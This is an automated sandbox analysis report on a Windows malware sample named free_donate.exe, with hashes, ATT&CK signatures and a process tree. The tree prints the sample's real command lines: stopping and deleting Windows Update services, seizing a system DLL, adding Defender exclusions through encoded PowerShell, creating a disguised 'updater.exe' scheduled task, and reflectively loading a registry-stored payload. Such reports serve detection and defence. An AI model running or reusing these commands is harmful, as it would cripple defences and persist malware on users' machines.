b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3

General

Target

free_donate.exe
Size

2.7MB
MD5

5026ed09cc5a093093461066d16a8f30
SHA1

34d60b874d9d3f8841c721692ea1daf31f330653
SHA256

b495d68b0733d071e67e0c30665382decd71885af9bad1c6510ef168e5732cd3
SHA512

2429b9d55af9abe991a182b5fe49548d31986046c3bbacaa4021dd7544752f9b2e0b5c494c989b58daafaaf604e863abe3bd013125068331538618140d67a1f1
SSDEEP

49152:HgJH+Kol630+0DW0TOWxKyuPcMPgBAnDEQ1o/40fyNHpElUZ7lPP:AJgl630pBTXVGhPYzQ1o//wElulH

Score

10^/10

discovery evasion exploit

Malware Config

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

Processes:

reg.exe

description	ioc	process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe

Drops file in Drivers directory 1 IoCs

Processes:

free_donate.exe

description ioc process

File opened for modification C:\Windows\system32\drivers\etc\hosts free_donate.exe
Possible privilege escalation attempt 2 IoCs
exploit

Processes:

takeown.exeicacls.exe

pid process

2592 takeown.exe
1972 icacls.exe
Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	free_donate.exe

pid	process
2592	takeown.exe
1972	icacls.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

free_donate.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2629973501-4017243118-3254762364-1000\Control Panel\International\Geo\Nation	free_donate.exe

Modifies file permissions 1 TTPs 2 IoCs
discovery

File Permissions Modification
T1222

Processes:

takeown.exeicacls.exe

pid process

2592 takeown.exe
1972 icacls.exe
Legitimate hosting services abused for malware hosting/C2 1 TTPs

Web Service
T1102
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

13 ip-api.com
Suspicious use of SetThreadContext 1 IoCs

Processes:

free_donate.exe

description pid process target process

PID 2424 set thread context of 1900 2424 free_donate.exe conhost.exe

pid	process
2592	takeown.exe
1972	icacls.exe

flow	ioc
13	ip-api.com

description	pid	process	target process
PID 2424 set thread context of 1900	2424	free_donate.exe	conhost.exe

Drops file in Windows directory 4 IoCs

Processes:

conhost.exe

description	ioc	process
File created	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc32.job	conhost.exe
File created	C:\Windows\Tasks\dialersvc64.job	conhost.exe
File opened for modification	C:\Windows\Tasks\dialersvc64.job	conhost.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

4076 sc.exe
1952 sc.exe
932 sc.exe
2720 sc.exe
1800 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Modifies registry key 1 TTPs 9 IoCs

Modify Registry
T1112

Processes:

reg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exereg.exe

pid process

1460 reg.exe
4256 reg.exe
3988 reg.exe
2968 reg.exe
2400 reg.exe
3700 reg.exe
212 reg.exe
204 reg.exe
3416 reg.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exefree_donate.exepowershell.exe

pid process

424 powershell.exe
424 powershell.exe
2424 free_donate.exe
3468 powershell.exe

pid	process
4076	sc.exe
1952	sc.exe
932	sc.exe
2720	sc.exe
1800	sc.exe

pid	process
1460	reg.exe
4256	reg.exe
3988	reg.exe
2968	reg.exe
2400	reg.exe
3700	reg.exe
212	reg.exe
204	reg.exe
3416	reg.exe

pid	process
424	powershell.exe
424	powershell.exe
2424	free_donate.exe
3468	powershell.exe

Suspicious use of AdjustPrivilegeToken 12 IoCs

Processes:

powershell.exefree_donate.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exetakeown.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	424	powershell.exe
Token: SeDebugPrivilege	2424	free_donate.exe
Token: SeShutdownPrivilege	4184	powercfg.exe
Token: SeCreatePagefilePrivilege	4184	powercfg.exe
Token: SeShutdownPrivilege	4828	powercfg.exe
Token: SeCreatePagefilePrivilege	4828	powercfg.exe
Token: SeShutdownPrivilege	3492	powercfg.exe
Token: SeCreatePagefilePrivilege	3492	powercfg.exe
Token: SeShutdownPrivilege	692	powercfg.exe
Token: SeCreatePagefilePrivilege	692	powercfg.exe
Token: SeTakeOwnershipPrivilege	2592	takeown.exe
Token: SeDebugPrivilege	3468	powershell.exe

Suspicious use of WriteProcessMemory 51 IoCs

Processes:

free_donate.execmd.execmd.exe

description	pid	process	target process
PID 2424 wrote to memory of 424	2424	free_donate.exe	powershell.exe
PID 2424 wrote to memory of 424	2424	free_donate.exe	powershell.exe
PID 2424 wrote to memory of 4888	2424	free_donate.exe	cmd.exe
PID 2424 wrote to memory of 4888	2424	free_donate.exe	cmd.exe
PID 2424 wrote to memory of 2264	2424	free_donate.exe	cmd.exe
PID 2424 wrote to memory of 2264	2424	free_donate.exe	cmd.exe
PID 4888 wrote to memory of 4076	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 4076	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 1952	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 1952	4888	cmd.exe	sc.exe
PID 2264 wrote to memory of 4184	2264	cmd.exe	powercfg.exe
PID 2264 wrote to memory of 4184	2264	cmd.exe	powercfg.exe
PID 4888 wrote to memory of 932	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 932	4888	cmd.exe	sc.exe
PID 2264 wrote to memory of 4828	2264	cmd.exe	powercfg.exe
PID 2264 wrote to memory of 4828	2264	cmd.exe	powercfg.exe
PID 4888 wrote to memory of 2720	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 2720	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 1800	4888	cmd.exe	sc.exe
PID 4888 wrote to memory of 1800	4888	cmd.exe	sc.exe
PID 2264 wrote to memory of 3492	2264	cmd.exe	powercfg.exe
PID 2264 wrote to memory of 3492	2264	cmd.exe	powercfg.exe
PID 4888 wrote to memory of 2400	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 2400	4888	cmd.exe	reg.exe
PID 2264 wrote to memory of 692	2264	cmd.exe	powercfg.exe
PID 2264 wrote to memory of 692	2264	cmd.exe	powercfg.exe
PID 4888 wrote to memory of 3700	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 3700	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 1460	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 1460	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 212	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 212	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 204	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 204	4888	cmd.exe	reg.exe
PID 4888 wrote to memory of 2592	4888	cmd.exe	takeown.exe
PID 4888 wrote to memory of 2592	4888	cmd.exe	takeown.exe
PID 4888 wrote to memory of 1972	4888	cmd.exe	icacls.exe
PID 4888 wrote to memory of 1972	4888	cmd.exe	icacls.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 1900	2424	free_donate.exe	conhost.exe
PID 2424 wrote to memory of 3468	2424	free_donate.exe	powershell.exe
PID 2424 wrote to memory of 3468	2424	free_donate.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\free_donate.exe
"C:\Users\Admin\AppData\Local\Temp\free_donate.exe"
1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHgAZgBxACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAdwBhAG0AIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegB5AGQAaQAjAD4AIAAtAEYAbwByAGMAZQAgADwAIwBpAHUAbAAjAD4A"
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:424

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
2⤵
- Suspicious use of WriteProcessMemory
PID:4888

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4076

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1952

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:932

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:2720

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:1800

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
3⤵
- Modifies registry key
PID:2400

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
3⤵
- Modifies registry key
PID:3700

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
3⤵
- Modifies security service
- Modifies registry key
PID:1460

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
3⤵
- Modifies registry key
PID:212

C:\Windows\system32\reg.exe
reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
3⤵
- Modifies registry key
PID:204

C:\Windows\system32\takeown.exe
takeown /f C:\Windows\System32\WaaSMedicSvc.dll
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
- Suspicious use of AdjustPrivilegeToken
PID:2592

C:\Windows\system32\icacls.exe
icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
3⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1972

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:4256

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3988

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:2968

C:\Windows\system32\reg.exe
reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
3⤵
- Modifies registry key
PID:3416

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
3⤵
PID:4960

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
3⤵
PID:3968

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
3⤵
PID:4744

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
3⤵
PID:4604

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
3⤵
PID:3296

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
3⤵
PID:3956

C:\Windows\system32\schtasks.exe
SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
3⤵
PID:3904

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
- Suspicious use of WriteProcessMemory
PID:2264

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4184

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4828

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3492

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:692

C:\Windows\System32\conhost.exe
C:\Windows\System32\conhost.exe
2⤵
- Drops file in Windows directory
PID:1900

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHUAYwB4AG4AIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAcABvAHcAZQByAHMAaABlAGwAbAAnACAALQBBAHIAZwB1AG0AZQBuAHQAIAAnAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAIgBQAEEAQQBqAEEASABBAEEAZAB3AEEAagBBAEQANABBAEkAQQBCAFQAQQBIAFEAQQBZAFEAQgB5AEEASABRAEEATABRAEIAUQBBAEgASQBBAGIAdwBCAGoAQQBHAFUAQQBjAHcAQgB6AEEAQwBBAEEATABRAEIARwBBAEcAawBBAGIAQQBCAGwAQQBGAEEAQQBZAFEAQgAwAEEARwBnAEEASQBBAEEAbgBBAEUATQBBAE8AZwBCAGMAQQBGAEEAQQBjAGcAQgB2AEEARwBjAEEAYwBnAEIAaABBAEcAMABBAEkAQQBCAEcAQQBHAGsAQQBiAEEAQgBsAEEASABNAEEAWABBAEIASABBAEcAOABBAGIAdwBCAG4AQQBHAHcAQQBaAFEAQgBjAEEARQBNAEEAYQBBAEIAeQBBAEcAOABBAGIAUQBCAGwAQQBGAHcAQQBkAFEAQgB3AEEARwBRAEEAWQBRAEIAMABBAEcAVQBBAGMAZwBBAHUAQQBHAFUAQQBlAEEAQgBsAEEAQwBjAEEASQBBAEEAdABBAEYAWQBBAFoAUQBCAHkAQQBHAEkAQQBJAEEAQgBTAEEASABVAEEAYgBnAEIAQgBBAEgATQBBAEkAQQBBADgAQQBDAE0AQQBhAFEAQgAwAEEAQwBNAEEAUABnAEEAPQAiACcAKQAgADwAIwB6AHIAbABtACMAPgAgAC0AVAByAGkAZwBnAGUAcgAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFQAcgBpAGcAZwBlAHIAIAAtAEEAdABTAHQAYQByAHQAdQBwACkAIAA8ACMAdwBzACMAPgAgAC0AUwBlAHQAdABpAG4AZwBzACAAKABOAGUAdwAtAFMAYwBoAGUAZAB1AGwAZQBkAFQAYQBzAGsAUwBlAHQAdABpAG4AZwBzAFMAZQB0ACAALQBBAGwAbABvAHcAUwB0AGEAcgB0AEkAZgBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAaQBzAGEAbABsAG8AdwBIAGEAcgBkAFQAZQByAG0AaQBuAGEAdABlACAALQBEAG8AbgB0AFMAdABvAHAASQBmAEcAbwBpAG4AZwBPAG4AQgBhAHQAdABlAHIAaQBlAHMAIAAtAEQAbwBuAHQAUwB0AG8AcABPAG4ASQBkAGwAZQBFAG4AZAAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AVABpAG0AZQBMAGkAbQBpAHQAIAAoAE4AZQB3AC0AVABpAG0AZQBTAHAAYQBuACAALQBEAGEAeQBzACAAMQAwADAAMAApACkAIAA8ACMAZQB1AHEAIwA+ACAALQBUAGEAcwBrAE4AYQBtAGUAIAAnAEcAbwBvAGcAbABlAFUAcABkAGEAdABlAFQAYQBzAGsATQBhAGMAaABpAG4AZQBRAEMAJwAgAC0AVQBzAGUAcgAgACcAUwB5AHMAdABlAG0AJwAgAC0AUgB1AG4ATABlAHYAZQBsACAAJwBIAGkAZwBoAGUAcwB0ACcAIAAtAEYAbwByAGMAZQAgADwAIwBpAGEAIwA+ADsAIABDAG8AcAB5AC0ASQB0AGUAbQAgACcAQwA6AFwAVQBzAGUAcgBzAFwAQQBkAG0AaQBuAFwAQQBwAHAARABhAHQAYQBcAEwAbwBjAGEAbABcAFQAZQBtAHAAXABmAHIAZQBlAF8AZABvAG4AYQB0AGUALgBlAHgAZQAnACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAnAEMAOgBcAFAAcgBvAGcAcgBhAG0AIABGAGkAbABlAHMAXABHAG8AbwBnAGwAZQBcAEMAaAByAG8AbQBlAFwAdQBwAGQAYQB0AGUAcgAuAGUAeABlACcAIAAtAEYAbwByAGMAZQAgADwAIwBvAHUAIwA+ADsAIABTAHQAYQByAHQALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrACAAPAAjAGEAdgBhACMAPgAgAC0AVABhAHMAawBOAGEAbQBlACAAJwBHAG8AbwBnAGwAZQBVAHAAZABhAHQAZQBUAGEAcwBrAE0AYQBjAGgAaQBuAGUAUQBDACcAOwA="
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3468

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:3516

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.EXE ".(\"{1}{0}\" -f 'eT','S') (\"6T\"+\"o\") ([tYpE](\"{2}{0}{4}{1}{3}\" -F'e','mBL','refl','y','ctiOn.AsSe') ) ; $Dlr4S = [tyPe](\"{3}{1}{2}{4}{0}\"-F'Ry','oSOfT.W','iN32.R','MICR','eGiST') ; $6TO::(\"{0}{1}\" -f 'L','oad').Invoke( (.(\"{1}{2}{0}\" -f 't-Item','g','e') (\"vARI\"+\"Ab\"+\"lE\"+\":DlR4S\") ).\"VA`luE\"::\"lOc`ALM`AChine\".(\"{2}{1}{0}\" -f 'ey','ubk','OpenS').Invoke((\"{1}{0}\"-f'E','SOFTWAR')).(\"{1}{0}{2}\" -f'u','GetVal','e').Invoke((\"{1}{2}{3}{0}\"-f'ger','dia','lers','ta'))).\"EnT`Ryp`OINt\".\"in`VoKE\"(${n`Ull},${n`ULl})"
1⤵
PID:4576

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ddc07cec-0107-416b-b8ee-529a16dd0418}
1⤵
PID:2792

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

2

T1031

Privilege Escalation

Defense Evasion

Modify Registry

2

T1112

Impair Defenses

1

T1562

File Permissions Modification

1

T1222

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Web Service

1

T1102

Impact

Service Stop

1

T1489

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
944B

MD5
62623d22bd9e037191765d5083ce16a3

SHA1
4a07da6872672f715a4780513d95ed8ddeefd259

SHA256
95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010

SHA512
9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

Download Submit
memory/204-153-0x0000000000000000-mapping.dmp

Download
memory/212-152-0x0000000000000000-mapping.dmp

Download
memory/424-134-0x0000000000000000-mapping.dmp

Download
memory/424-135-0x00000287C8220000-0x00000287C8242000-memory.dmp

Filesize
136KB

Download
memory/424-136-0x00007FFC18140000-0x00007FFC18C01000-memory.dmp

Filesize
10.8MB

Download
memory/624-196-0x00007FFBF61B0000-0x00007FFBF61C0000-memory.dmp

Filesize
64KB

Download
memory/692-149-0x0000000000000000-mapping.dmp

Download
memory/932-143-0x0000000000000000-mapping.dmp

Download
memory/1460-151-0x0000000000000000-mapping.dmp

Download
memory/1800-146-0x0000000000000000-mapping.dmp

Download
memory/1900-160-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1900-158-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1900-157-0x0000000140001844-mapping.dmp

Download
memory/1900-159-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1900-156-0x0000000140000000-0x0000000140056000-memory.dmp

Filesize
344KB

Download
memory/1952-141-0x0000000000000000-mapping.dmp

Download
memory/1972-155-0x0000000000000000-mapping.dmp

Download
memory/2264-138-0x0000000000000000-mapping.dmp

Download
memory/2400-148-0x0000000000000000-mapping.dmp

Download
memory/2424-139-0x000000001D770000-0x000000001D782000-memory.dmp

Filesize
72KB

Download
memory/2424-133-0x00007FFC18140000-0x00007FFC18C01000-memory.dmp

Filesize
10.8MB

Download
memory/2424-132-0x0000000000B90000-0x0000000000E48000-memory.dmp

Filesize
2.7MB

Download
memory/2424-172-0x00007FFC18140000-0x00007FFC18C01000-memory.dmp

Filesize
10.8MB

Download
memory/2592-154-0x0000000000000000-mapping.dmp

Download
memory/2720-145-0x0000000000000000-mapping.dmp

Download
memory/2792-184-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/2792-188-0x00007FFC35350000-0x00007FFC3540E000-memory.dmp

Filesize
760KB

Download
memory/2792-180-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/2792-187-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/2792-182-0x00000001400033F4-mapping.dmp

Download
memory/2792-192-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/2792-193-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/2792-186-0x0000000140000000-0x0000000140042000-memory.dmp

Filesize
264KB

Download
memory/2968-166-0x0000000000000000-mapping.dmp

Download
memory/3296-183-0x0000000000000000-mapping.dmp

Download
memory/3416-167-0x0000000000000000-mapping.dmp

Download
memory/3468-174-0x00007FFC18140000-0x00007FFC18C01000-memory.dmp

Filesize
10.8MB

Download
memory/3468-161-0x0000000000000000-mapping.dmp

Download
memory/3492-147-0x0000000000000000-mapping.dmp

Download
memory/3516-191-0x00007FFC35350000-0x00007FFC3540E000-memory.dmp

Filesize
760KB

Download
memory/3516-190-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/3516-175-0x00007FFC18140000-0x00007FFC18C01000-memory.dmp

Filesize
10.8MB

Download
memory/3516-177-0x00007FFC36130000-0x00007FFC36325000-memory.dmp

Filesize
2.0MB

Download
memory/3516-178-0x00007FFC35350000-0x00007FFC3540E000-memory.dmp

Filesize
760KB

Download
memory/3516-189-0x00007FFC18140000-0x00007FFC18C01000-memory.dmp

Filesize
10.8MB

Download
memory/3700-150-0x0000000000000000-mapping.dmp

Download
memory/3904-195-0x0000000000000000-mapping.dmp

Download
memory/3956-194-0x0000000000000000-mapping.dmp

Download
memory/3968-170-0x0000000000000000-mapping.dmp

Download
memory/3988-165-0x0000000000000000-mapping.dmp

Download
memory/4076-140-0x0000000000000000-mapping.dmp

Download
memory/4184-142-0x0000000000000000-mapping.dmp

Download
memory/4256-164-0x0000000000000000-mapping.dmp

Download
memory/4576-185-0x0000000003B00000-0x0000000003B66000-memory.dmp

Filesize
408KB

Download
memory/4576-169-0x0000000001090000-0x00000000010C6000-memory.dmp

Filesize
216KB

Download
memory/4576-171-0x0000000003B70000-0x0000000004198000-memory.dmp

Filesize
6.2MB

Download
memory/4576-181-0x0000000003A20000-0x0000000003A86000-memory.dmp

Filesize
408KB

Download
memory/4576-179-0x0000000003980000-0x00000000039A2000-memory.dmp

Filesize
136KB

Download
memory/4604-176-0x0000000000000000-mapping.dmp

Download
memory/4744-173-0x0000000000000000-mapping.dmp

Download
memory/4828-144-0x0000000000000000-mapping.dmp

Download
memory/4888-137-0x0000000000000000-mapping.dmp

Download
